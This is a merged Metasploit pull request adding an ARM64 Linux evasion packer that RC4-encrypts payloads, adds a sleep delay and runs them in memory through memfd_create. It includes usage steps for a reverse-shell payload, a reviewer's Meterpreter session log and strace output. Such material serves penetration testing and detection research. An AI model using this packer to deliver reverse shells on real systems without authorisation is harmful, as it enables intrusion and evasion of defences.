Skip to content

adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine#20964

Merged
dledda-r7 merged 9 commits intorapid7:masterfrom
litemars:add_Linux_evasion_module-rc4_packer_arm64
Feb 26, 2026
Merged

adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine#20964
dledda-r7 merged 9 commits intorapid7:masterfrom
litemars:add_Linux_evasion_module-rc4_packer_arm64

Conversation

@litemars
Copy link
Copy Markdown
Contributor

@litemars litemars commented Feb 12, 2026

Description

This PR introduces an ARM64 (AArch64) Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

What’s included

  • ARM64 RC4 packer (Evasion Linux Module)
  • ARM64 sleep evasion prepend (Mixin)
  • ARM64 RC4 decryption stub (Mixin)

How to use it - BASIC

  • use evasion/linux/arm64_rc4_packer
  • set payload linux/aarch64/shell_reverse_tcp
  • set LHOST x.x.x.x
  • run

Optional:

  • set SLEEP_TIME x

@litemars litemars marked this pull request as ready for review February 12, 2026 15:34
@dledda-r7 dledda-r7 self-assigned this Feb 12, 2026
Comment thread lib/msf/core/payload/linux/aarch64/rc4_decrypter.rb Outdated
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
@dledda-r7
Copy link
Copy Markdown
Contributor

@litemars We should include somewhere in the description that this evasion module works only with Linux targets with kernel >= 3.17 (considering mainline kernel) or in general kernel with memfd_create syscall support.

Comment thread lib/msf/core/payload/linux/aarch64/sleep_evasion.rb Outdated
Comment thread modules/evasion/linux/aarch64/rc4_packer.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Comment thread modules/evasion/linux/arm64_rc4_packer.rb Outdated
Comment thread lib/msf/core/payload/linux/aarch64/sleep_evasion.rb Outdated
Comment thread lib/msf/core/payload/linux/aarch64/sleep_evasion.rb Outdated
Comment thread modules/evasion/linux/arm64_rc4_packer.rb Outdated
Comment thread lib/msf/core/payload/linux/aarch64/rc4_decrypter.rb Outdated
Comment thread lib/msf/core/payload/linux/aarch64/rc4_decrypter.rb Outdated
litemars and others added 2 commits February 19, 2026 17:14
Copy link
Copy Markdown
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good to me! awesome work 🎉

msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (989676 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:47792) at 2026-02-25 09:40:18 -0500

msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 2

[*] 127.0.0.1 - Meterpreter session 2 closed.  Reason: User exit
msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
┌──(kali㉿kali)-[~/Public]
└─$ qemu-aarch64 -strace payload.aarch64.rc4.elf
527505 nanosleep(140470822891024,0,0,0,0,0) = 0
527505 mmap(NULL,538,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00007fc1f32b4000
527505 memfd_create(140470822891040,1,538,140470822890784,26,245) = 3
527505 write(3,0xf32b40be,348) = 348
527505 execve("/proc/self/fd///////////////3",{)                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ 

@github-project-automation github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban Feb 25, 2026
@dledda-r7 dledda-r7 merged commit 0d259ba into rapid7:master Feb 26, 2026
71 of 78 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Feb 26, 2026
@dledda-r7
Copy link
Copy Markdown
Contributor

dledda-r7 commented Feb 27, 2026

Release Notes

Adds a new Linux evasion module for arm64, a packer using rc4 encryption, in memory execution of the elf binary, and sleep evasion.

@jharris-r7 jharris-r7 added the rn-payload-enhancement release notes for enhanced payloads label Feb 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-payload-enhancement release notes for enhanced payloads

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants